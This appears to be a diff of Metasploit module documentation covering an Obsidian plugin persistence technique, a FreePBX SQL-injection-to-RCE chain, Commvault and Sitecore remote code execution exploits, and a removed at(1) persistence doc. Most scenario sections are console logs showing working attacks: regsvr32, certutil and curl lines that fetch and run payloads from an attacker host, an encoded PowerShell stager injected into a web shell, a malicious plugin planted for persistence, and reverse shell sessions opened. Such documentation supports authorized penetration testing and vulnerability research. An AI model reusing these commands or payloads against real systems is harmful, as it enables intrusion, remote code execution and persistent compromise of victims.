|
||||
srvport => 8282
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4646
|
||||
lport => 4646
|
||||
resource (/root/.msf4/msfconsole.rc)> set URIPATH w
|
||||
URIPATH => w
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Starting persistent handler(s)...
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4646
|
||||
[*] Using URL: http://111.111.1.111:8282/w
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
regsvr32 /s /n /u /i:http://111.111.1.111:8282/w.sct scrobj.dll
|
||||
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
|
||||
[*] 222.222.2.22 web_delivery - Handling .sct Request
|
||||
[*] 222.222.2.22 web_delivery - Powershell command length: 3696
|
||||
[*] 222.222.2.22 web_delivery - Delivering Payload (3696 bytes)
|
||||
[*] Sending stage (203846 bytes) to 222.222.2.22
|
||||
[*] Meterpreter session 1 opened (111.111.1.111:4646 -> 222.222.2.22:50125) at 2025-02-17 09:00:05 -0500
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/obsidian_plugin
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/obsidian_plugin) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
(Meterpreter 1)(C:\Users\windows) > getuid
|
||||
Server username: WIN10PROLICENSE\windows
|
||||
(Meterpreter 1)(C:\Users\windows) > sysinfo
|
||||
Computer : WIN10PROLICENSE
|
||||
OS : Windows 10 (10.0 Build 19045).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
(Meterpreter 1)(C:\Users\windows) > background
|
||||
[*] Backgrounding session 1...
|
||||
```
|
||||
|
||||
Persistence
|
||||
|
||||
```
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/obsidian_plugin) > set payload payload/cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
|
||||
[msf](Jobs:1 Agents:1) exploit(multi/persistence/obsidian_plugin) > exploit
|
||||
[*] Command to run on remote host: certutil -urlcache -f http://111.111.1.111:8080/xCXtwaKhxivsa8DBsy06mQ %TEMP%\MvboVJyBQSJ.exe & start /B %TEMP%\MvboVJyBQSJ.exe
|
||||
[*] Exploit running as background job 2.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[msf](Jobs:2 Agents:1) exploit(multi/persistence/obsidian_plugin) >
|
||||
[*] Fetch handler listening on 111.111.1.111:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /xCXtwaKhxivsa8DBsy06mQ
|
||||
[*] Started reverse TCP handler on 111.111.1.111:4444
|
||||
[*] Using plugin name: kuCPva
|
||||
[*] Target User: windows
|
||||
[*] Found user obsidian file: C:\Users\windows\AppData\Roaming\obsidian\obsidian.json
|
||||
[+] Found open vault 73fefafd47723a1b: C:\Users\windows\Desktop\this_is_my_vault
|
||||
[*] Uploading plugin to vault C:\Users\windows\Desktop\this_is_my_vault
|
||||
[*] Uploading: C:\Users\windows\Desktop\this_is_my_vault/.obsidian/plugins/kuCPva/main.js
|
||||
[*] Uploading: C:\Users\windows\Desktop\this_is_my_vault/.obsidian/plugins/kuCPva/manifest.json
|
||||
[*] Found 4 enabled community plugins (AHBk, CbJt, tjPCOxub9, UOQEhHOR)
|
||||
[+] Config file saved in: /root/.msf4/loot/20250217091115_default_222.222.2.22_obsidian.communi_029034.txt
|
||||
[*] adding kuCPva to the enabled community plugins list
|
||||
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
|
||||
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20250217.1116/WIN10PROLICENSE_20250217.1116.rc
|
||||
[*] Client 222.222.2.22 requested /xCXtwaKhxivsa8DBsy06mQ
|
||||
[*] Sending payload to 222.222.2.22 (Microsoft-CryptoAPI/10.0)
|
||||
[*] Client 222.222.2.22 requested /xCXtwaKhxivsa8DBsy06mQ
|
||||
[*] Sending payload to 222.222.2.22 (CertUtil URL Agent)
|
||||
[*] Sending stage (203846 bytes) to 222.222.2.22
|
||||
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:50145) at 2025-02-17 09:11:41 -0500
|
||||
```
|
||||
@@ -0,0 +1,115 @@
|
||||
## Vulnerable Application
|
||||
FreePBX is an open-source web-based graphical user interface. FreePBX 15, 16, and 17
|
||||
endpoints are vulnerable due to insufficiently sanitized user-supplied data allowing
|
||||
unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation
|
||||
and remote code execution.
|
||||
This module exploits a vulnerability chain in FreePBX, tracked as CVE-2025-57819.
|
||||
An authentication bypass exposes unauthenticated access to `/admin/ajax.php`, which
|
||||
contains a SQL injection flaw. By leveraging this vulnerability, an attacker can
|
||||
achieve remote code execution through the creation of cron jobs under the `asterisk`
|
||||
database user context.
|
||||
|
||||
The following FreePBX version has been tested:
|
||||
|
||||
- FreePBX 16.0.33
|
||||
|
||||
|
||||
## Testing
|
||||
To set up a test environment:
|
||||
1. Install FreePBX and perform basic minimum setup (prompted by installer). I used proxmox to get a working installation. [Link](https://downloads.freepbxdistro.org/ISO/SNG7-PBX16-64bit-2302-1.iso)
|
||||
2. Confirm that the web service on port 80/443 is reachable.
|
||||
3. Follow the verification steps below.
|
||||
|
||||
## Options
|
||||
No custom options exist for this module.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use exploit/unix/http/freepbx_unauth_sqli_to_rce`
|
||||
3. `set RHOSTS <TARGET_IP_ADDRESS>`
|
||||
4. `set RPORT <TARGET_PORT>`
|
||||
5. `run`
|
||||
|
||||
## Scenarios
|
||||
### FreePBX Linux Target
|
||||
```
|
||||
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > show options
|
||||
|
||||
Module options (exploit/unix/http/freepbx_unauth_sqli_to_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapni, socks4
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / no The URI for the FreePBX installation
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
When FETCH_COMMAND is one of CURL,GET,WGET:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
|
||||
|
||||
|
||||
When FETCH_FILELESS is none:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_FILENAME dCIEGUvcv no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set RHOSTS 192.168.1.116
|
||||
RHOSTS => 192.168.1.116
|
||||
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set LHOST eth0
|
||||
LHOST => 192.168.1.65
|
||||
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > run
|
||||
[*] Command to run on remote host: curl -so ./KjFruDjiGx http://192.168.1.65:8080/V3hgkVKmhAqViDKE6xmupA;chmod +x ./KjFruDjiGx;./KjFruDjiGx&
|
||||
[*] Fetch handler listening on 192.168.1.65:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /V3hgkVKmhAqViDKE6xmupA
|
||||
[*] Started reverse TCP handler on 192.168.1.65:4444
|
||||
[+] Created cronjob with job name: 'BUQm'
|
||||
[*] Waiting for cronjob to trigger...
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 192.168.1.116
|
||||
[*] Meterpreter session 1 opened (192.168.1.65:4444 -> 192.168.1.116:39258) at 2025-09-21 16:21:38 -0400
|
||||
[*] Attempting to perform cleanup
|
||||
[+] Cronjob removed, happy hacking!
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : freepbx.sangoma.local
|
||||
OS : Red Hat 7.8.2003 (Linux 3.10.0-1127.19.1.el7.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
```
|
||||
@@ -1,32 +0,0 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module executes a metasploit payload utilizing `at(1)` to execute jobs at a specific time. It should work out of the box
|
||||
with any UNIX-like operating system with `atd` running. In the case of OS X, the `atrun` service must be launched:
|
||||
|
||||
```
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.atrun.plist
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
3. Do: `use exploit/unix/local/at_persistence`
|
||||
4. Do: `set session #`
|
||||
5. Do: `set target #`
|
||||
6. `exploit`
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**TIME**
|
||||
|
||||
When to run job via at(1). Changing may require WfsDelay to be adjusted.
|
||||
|
||||
**PATH**
|
||||
|
||||
Path to store payload to be executed by at(1). Leave unset to use mktemp.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This module is useful for running one-shot payloads with delayed execution. It is slightly less obvious than cron.
|
||||
+107
@@ -0,0 +1,107 @@
|
||||
## Vulnerable Application
|
||||
This module exploits an unauthenticated remote code execution exploit chain for Commvault,
|
||||
tracked as CVE-2025-57790 and CVE-2025-57791. A command-line injection permits unauthenticated
|
||||
access to the 'localadmin' account, which then facilitates code execution via expression
|
||||
language injection. CVE-2025-57788 is also leveraged to leak the target host name, which is
|
||||
necessary knowledge to exploit the remote code execution chain. This module executes in
|
||||
the context of 'NETWORK SERVICE' on Windows.
|
||||
|
||||
## Testing
|
||||
To set up a test environment:
|
||||
1. Install Commvault and perform basic minimum setup (prompted by installer).
|
||||
2. Confirm that the web service on port 443 is reachable.
|
||||
3. Follow the verification steps below.
|
||||
|
||||
## Options
|
||||
No custom options exist for this module.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use exploit/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791`
|
||||
3. `set RHOSTS <TARGET_IP_ADDRESS>`
|
||||
4. `set RPORT <TARGET_PORT>`
|
||||
5. `run`
|
||||
|
||||
## Scenarios
|
||||
### Commvault Windows Target
|
||||
```
|
||||
msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > show options
|
||||
|
||||
Module options (exploit/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies
|
||||
: socks5, socks5h, http, sapni, socks4
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
|
||||
s/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The base path to Commvault
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/windows/powershell_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LOAD_MODULES no A list of powershell modules separated by a comma to download over the web
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Default
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > set RHOSTS 192.168.154.222
|
||||
RHOSTS => 192.168.154.222
|
||||
msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > set LHOST 192.168.154.139
|
||||
LHOST => 192.168.154.139
|
||||
msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > run
|
||||
[*] Started reverse TCP handler on 192.168.154.139:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Attempting to query the publicLink.do endpoint
|
||||
[*] The server returned a body that included the string cv-gorkha, looks like Commvault
|
||||
[+] Fetched GUID: 572131A8-3182-4423-8850-4A62D6CA2178
|
||||
[*] Attempting to login as PublicSharingUser
|
||||
[+] Authenticated as PublicSharingUser, got token: QSDK 36fdc5bd8cd650a1e64d8bd00acec802097a131806f2c712b41d7abf0b3e26d63f934db1efb85444ba371710bd6135bc41f679bf4d923417fc191864f9772780ddc7c7e66c73b7b59721b9acc7ac32bab5fc4d89909a0771229e5e0fd0b51c6ff346b195eb53e4f92c31182701ce7eb78f4a11b0c4653ef48f6e902b61094c9b50ae05715890e9bb9e341b99d003956e1f036a82295f23cf637c8d4046f5c970ad46deb59e3d89579d5dc144f2582e3ae3659c17f19835c40cb8c93c96f063d58d41f2b328e39fda3d2c7e26af2d62bbf
|
||||
[+] The target is vulnerable. Successfully authenticated as PublicSharingUser
|
||||
[*] Attempting to query the publicLink.do endpoint
|
||||
[*] The server returned a body that included the string cv-gorkha, looks like Commvault
|
||||
[+] Fetched GUID: 572131A8-3182-4423-8850-4A62D6CA2178
|
||||
[*] Attempting PublicServiceUser login using: 572131A8-3182-4423-8850-4A62D6CA2178
|
||||
[+] Authenticated as PublicSharingUser, got token: QSDK 388eef6d67c3cf146a17819125e4b33506fd188ec21fe6d191b56cdf1e98527d84135f8508ad2439a6229bc5b44d6a71e83460596c3267113d8365867d834004463aeb263ef8b5a1ecaad5f0f44e310223317e29b987ea8b3311666ce34ddd30121c77652628fd975ce662e21c113c53414806e4fffcf2082b245f9f64f6f20716df1ed46f7da21c6b933bd9c1eabaf7cc8600644f399057a73598e60bf586d6b3c3717fa7fd0e9a4204dae938cb213f855f8eb48ffc37f3a1d38ca74176d919253cdb6405ce27287f4106eb0a5397093
|
||||
[*] Attempting to query authenticated API endpoint to get host name and OS
|
||||
[+] Got target host name: DC01
|
||||
[+] Got target host OS: Windows
|
||||
[*] Attempting to mint a localadmin token using hostname: DC01
|
||||
[+] Successfully bypassed authentication
|
||||
[*] Admin token: QSDK 39cb9de328b232215e42c09650a018488634454cb0f39875976ca7d16039ea739a20ea151935c84b458bd9991b826e46dddccdbe95abfd13b72e0a3b5eb6238cf089302d340f4b421d9f250669b3624fc2d0e4b871db59bc96fe955b8e7d88034d35e310e1c22d717ea1d8a01f5dadfccaf2910128cbe089fce9738bb549c2c6e5aeff59c0644345f3dffe1c73103d8372af95b5e73f018d3fa413727af1592f72d7fc036fdf060d5a6cf183ba1651ab69c5dbdcee110d7a9d01ef490c90fa1ea0fdc1afc52ba5f5ee8b58ee4349efc92c086d4c2ab1be97123385e78ca8f68ae3f88b1142382013438226acdc4e6b10701120f07d6acd1f7
|
||||
[*] Extracted localadmin user ID number: 4
|
||||
[*] Got JSON response, searching for installation path disclosures
|
||||
[+] Leaked the installation path: C:\Program Files\Commvault\ContentStore
|
||||
[*] Got user description: System created Admin User for qcommand operations
|
||||
[*] Uploading XML file: <App_GetUserPropertiesRequest level="30">
|
||||
<user userName="DC01_localadmin__" /></App_GetUserPropertiesRequest>
|
||||
[*] Updating user description: <App_UpdateUserPropertiesRequest><users><AppMsg.UserInfo><userEntity><userId>4</userId></userEntity><description>${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('powershell -w hidden -nop -e YwBtAGQALgBlAHgAZQAgAC8AYwAgACcAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBuAG8AbgBpACAALQBlAHAAIABiAHkAcABhAHMAcwAgACIAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEARABBAC8AeQBHAGcAQwBBADUAVgBWAFgAVwAvAGIATgBoAFIAOQA5ADYAKwA0AE0ATgBSAEcAUQBtAHoAQwA5AHIAcABoAEQAWgBDAGkAbgBwAG8ATwBBAGIATABXAHEATABMAGwAdwBUAEEAUQBtAHIAcQBPAHQAZABDAGsAUwAxAHsAMgB9AHgAagBjAFQALwBmAGEAUgB7ADEAfQBmAFQAaABPAHMASgBZAFAAdABzAGgANwBlAFgAaAA0ADcAaQBHADUAeQBBAFUAegBtAFIAVAB3AEoANQByACsARABjADQAWgB6ADEAQQBZADYARAB4ADIAdwBMAFoAZwB3ACsAQQBjACcAJwArACcAJwB2AHUAQwBtAC8AMwBYACsATAB6AEkARAAvAGUAdgBkAEcAcgAvAFEARgBkAHAAQgBRADIAeAArAFgATwBSAFgAeQBlAFIAdgBqAFoAOQB3AFEAWABOAHUAWQBvAFcAcABqAFcAUwBVAGEAdwBzAFIARwBKAFYAagBuAFQAVgBSAGMAcgBzAGoAegB6AEwAcwBlAEcAdQBrAHkAdQAzAHMATwA0AHUAewAyAH0ANABsAHAAdQBVAE4AbQBlAFoAUQBkAEYAZgB7ADEAfQBJAFYAWABZAFgAbAA5AHoAUQB4AHsAMgB9AGgATgAzAHMAeQBDAFcAcQB4AFUAVgBhAGUAOQB3AE4ATgBHAGMAUwBmAEYAcwA4AEoAUABjAEMAQwA1AHAAVwBvAHgARwBIAGwATgBKAGgAbABxAEQARgAyAEEAbAAwADUAeQBqAEkALwBnAHgAagB7ADIAfQBCAE0AeQBSAFkAUQBWAHMAdABBAEgANwA5AEQAZAA1ADYASgB0AEIAcwBWAHcAWABKAGUATQBaAGQAbgAyAHEAQgBBAFoAUwBkAFAAawA1ADMAOQBYAGgARwBuAFcAaQBMAFoAUABSAHAATgByAHQAbgA2ACcAJwArACcAJwB5AG0AZgBNADMAdABsADIAUABKAEYAbwBRADUAVgB4ADYALwBxAFYAaQA2AGcAdgAwAFgAawByAGIAOAB3AFkAcgBvADAARgBMAE0AcwBSAGwAbABUADIAcgA5AEYAVgArAEkAQgB7ADIAfQA0AHoASABqAEcAcgBwAFYAOABwAGUAWQB4AHgATwAvAFUASABmADQAZgBrAFMARwB2AC8AMQBPAGgAcgArACsASQA4AE4AZgAzACcAJwArACcAJwBuAGQANwBiAGkAZAArACsAVQA0AHAAbwBUAFkAewAyAH0ANgBjAHIAeABMAGUARwBKAHQAVgBwAFMAagBGAG0AZQBEAGMATwB5AFEAaQBWAEIANQA1AGEAdQBMADAAaQBMAG4AdABZADgAcQBjAEIAZQBZAFkAZwBzAFYANQBuAFoAawBhAFIAewAyAH0ARABmADMANgB2AFcAQgBoAGIAWQBXADkAOABEAEcANAB0ACcAJwArACcAJwB1AGgANwA2AEYATQBOADAAJwAnACsAJwAnADQATQA1ADMAMwBBAGwARABjAGEAbwBUAEwAYgBJAEcARABYADQARAArAFYAWgBTAHAAMwAzAFkAcwByADUAbgBMAEwANwBXAFIAUwA5AFEASQBlAE0AYwA3AE4AMAB4AG4AVwBUAHgAdgBwAFYAYgBRAHsAMgB9AFIAYwA5ADcAcgBHAHEANgBIAG8ANgA0AG4AMQBNAGEAcgBoAFcAbwAyADIAbABaAHkATwB0ADgAWgBuAE0ANQBtAGcAZgB0ADMAbABoAHcAUQBNAGgAcgBZADkAdgBUAG0AYwBiAEQAMwBZAHEATgBJAHEAMwBBADQATgBiAGcAMQBCACcAJwArACcAJwBBAFcAVABxAGYAUAA3ADIAZABrADQAaQBTADgAdgBJADEAZQBBAFAAMQB4AE8AMgBMADIAeAB4AHAAVQBiAEQAUgBOADMAdABKAEkAbABjAGcANABxAEYAOABKAG0AZwA1AFUAbgAxADkAYQA4AFgAVABpAEYAQQBNAFgARABtAGUAJwAnACsAJwAnAHMASgBkAC8AUgBQADcAWgBpAHQAVgBCADEAZwBjAHIAWABPAFQAUgBPADgARgBiAEYAYwA3ADEAUgAyAHQAegBRAFEAeABoAEgAOABsAFQAewAxAH0AbAB0AFYAdwBZAGkAewAyAH0AVgBhAFMAMQBVAG8AUwBtAEQAcwBGAG4ATgBKAEcAaABSAGEANwBBAGQATQB5AGEAMgA0AEYAZAA2AFcAWABnADUAeQBZADIAdQBEAFkAYgBPAHgAMwBxAEQAWABkAE0AZwBWAGkAagB1AHoAYgBQAHUAbwBPAHQAUgB0AEoAeAAwAFoANgBlAGQAVQBtAHAANwBPADQATQBwAEMATwBsAG4AOABoAFUAQgBxAG4AagAvAFAAdABaAHIAMQBXAGEAbwBMAHkAcABhAFcAYwB3AGsAewAyAH0AbQBhAGcAdgBuAEMAYQByAG8AZQAxAGEAZQBIAEIAUABSADYAVABhAGIAWABtAGwAVgBVAGoAUgAwADYAVgAnACcAKwAnACcANABrAFAAZgBZAHYAOQBpAHUAcgBiAGIAYQA2ACcAJwArACcAJwBsADIAagA3AE4AdQBXADIAaQB3AHoAagBtAHsAMQB9AFkAWgBJAFgAcgB5AGsAMQA4AFEANQBxACcAJwArACcAJwBHAHAAYwBkADYATQBPAGgAQgBjAE0AQQArAGcAcgA1AEEARwBCAHgASgBlAHUASAAwAHcALwBUAGEAYQB2AG4AYQBrACsASABQAHEAVQBzAGgAaABjAFkAWABYAHYATQBHAHgAWgA0ADIANgBxAGkAMAAwAFAAeAAxAFUAZQB5AHUAewAxAH0AaABXAEMATABIAHAAVwBUAFgAcwA0AFgAVABHAFAAOQBnADMAOQA2AHUAbwByAHcAVQBjAGYAMwBnADcAaABDAGIANwBtAHAAbAArAGkAZwBqAGYAUABBAGQAUQBJAEMAawB7ADEAfQBxADQARgBNADQAbQBTAFIAdwBZAHYAOABMAC8AYQA4AGsAewAyACcAJwArACcAJwB9AHoAdwBjAGsAUQBrADEAUwB4AGYAOQBBAEMAYwBOAHkATgBZAFIAQwBWAEEAcABxAGEAYQBEADIAYwBGAGkATABkAFoARgBuAEQAQwBPAFYASQBYAFIAUwB3AHoATwAyAHgAMQA3ADEATABhAGQAWQB3AFAALwBrAEgAOABiAG0AUAA5ADEAYgBOAHUAdwBSADMANgB0ADUAbgB6AG0AdQAnACcAKwAnACcAVgA3AFcAcgA2AEcAJwAnACsAJwAnAC8AZQBQAHoAZABIAG4ATwBwADAAZQArAG4ATwBJADcAVgBHADkAVQAyAFQAUABOAHcASgBVAGEAdQBxADkAZgB7ADIAfQAvADEAcABuADEAZwA5ADkAWABUAHYALwBZAHYAMABIAGQAVwBxADkAewAyAH0AcQA0AEkAQQBBAEEAewAwAH0AJwAnACkALQBmACcAJwA9ACcAJwAsACcAJwBFACcAJwAsACcAJwBLACcAJwApACkAKQApACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACIAJwA=').getInputStream()).useDelimiter('%5C%5CA').next()}</description></AppMsg.UserInfo></users></App_UpdateUserPropertiesRequest>
|
||||
[*] Moving XML file to web shell: qoperation execute -af C:\Program Files\Commvault\ContentStore\Reports\MetricsUpload\Upload\b2e65d7a\b2e65d7a.xml -file C:\Program Files\Commvault\ContentStore\Apache\webapps\ROOT\b2e65d7a.jsp
|
||||
[*] Accessing the web shell file: b2e65d7a.jsp
|
||||
[!] Tried to delete C:\Program Files\Commvault\ContentStore\Apache\webapps\ROOT\b2e65d7a.jsp, unknown result
|
||||
[*] Powershell session session 1 opened (192.168.154.139:4444 -> 192.168.154.222:50011) at 2025-09-15 11:33:22 -0500
|
||||
[*] Updating user description: <App_UpdateUserPropertiesRequest><users><AppMsg.UserInfo><userEntity><userId>4</userId></userEntity><description>System created Admin User for qcommand operations</description></AppMsg.UserInfo></users></App_UpdateUserPropertiesRequest>
|
||||
msf exploit(windows/http/commvault_rce_cve_2025_57790_cve_2025_57791) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
PS C:\Program Files\Commvault\ContentStore\Apache\bin> whoami
|
||||
nt authority\network service
|
||||
|
||||
```
|
||||
@@ -0,0 +1,63 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The Sitecore Experience Platform (XP) is a flagship CMS product.
|
||||
Provides comprehensive digital marketing tools, view of customer data and many other features.
|
||||
Sitecore deploys multiple default service accounts when installing, among them is an account called ServicesAPI.
|
||||
The versions from 10 to 10.4 have a hardcoded password for this account - the password is the letter b (CVE-2025-34509).
|
||||
This account is used to gain access and exploit an additional vulnerability - a path traversal in zip extraction (CVE-2025-34510).
|
||||
This module exploits both vulnerabilities to gain remote code execution by uploading malicious ASPX into the root directory of the webserver.
|
||||
|
||||
### Installation
|
||||
|
||||
The Sitecore XP can be downloaded from [here](https://developers.sitecore.com/downloads/Sitecore_Experience_Platform).
|
||||
Please note that a license is required for successful installation.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/windows/http/sitecore_xp_cve_2025_34510`
|
||||
1. Do: `set RHOSTS [Sitecore XP IP address]`
|
||||
1. Do: `set VHOST [Sitecore XP hostname]`
|
||||
1. Do: `set IDENTITY_VHOST [hostname of Sitecore XP identity server]`
|
||||
1. Do: `set LHOST [attacker IP]`
|
||||
1. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
### VHOST
|
||||
|
||||
The hostname of Sitecore XP.
|
||||
When installed, Sitecore XP deploys multiple vhosts, among them is the Sitecore XP host, where a user can access majority of functions.
|
||||
|
||||
|
||||
### IDENTITY_VHOST
|
||||
|
||||
The Sitecore XP uses separate vhost for "identity host", which is used when user is authenticating and asking for session data.
|
||||
If you are not sure about `IDENTITY_VHOST`, you can visit `https://[sitecore instance]/identity/login/shell/SitecoreIdentityServer`.
|
||||
The hostname of page where the URL will redirect you can be used as `IDENTITY_VHOST`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf exploit(windows/http/sitecore_xp_cve_2025_34510) > set IDENTITY_VHOST sitecorepocidentityserver.dev.local
|
||||
msf exploit(windows/http/sitecore_xp_cve_2025_34510) > run verbose=true
|
||||
[*] Started reverse TCP handler on 192.168.3.7:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Sitecore version detected 10.3.0, which is vulnerable
|
||||
[*] Sending stage (203846 bytes) to 10.5.132.138
|
||||
[*] Meterpreter session 2 opened (192.168.3.7:4444 -> 10.5.132.138:50530) at 2025-08-26 13:05:53 +0200
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN11_22H2_0800
|
||||
OS : Windows 11 22H2 (10.0 Build 22621).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > getuid
|
||||
Server username: IIS APPPOOL\sitecorepocsc.dev.local
|
||||
```
|
||||
@@ -0,0 +1,72 @@
|
||||
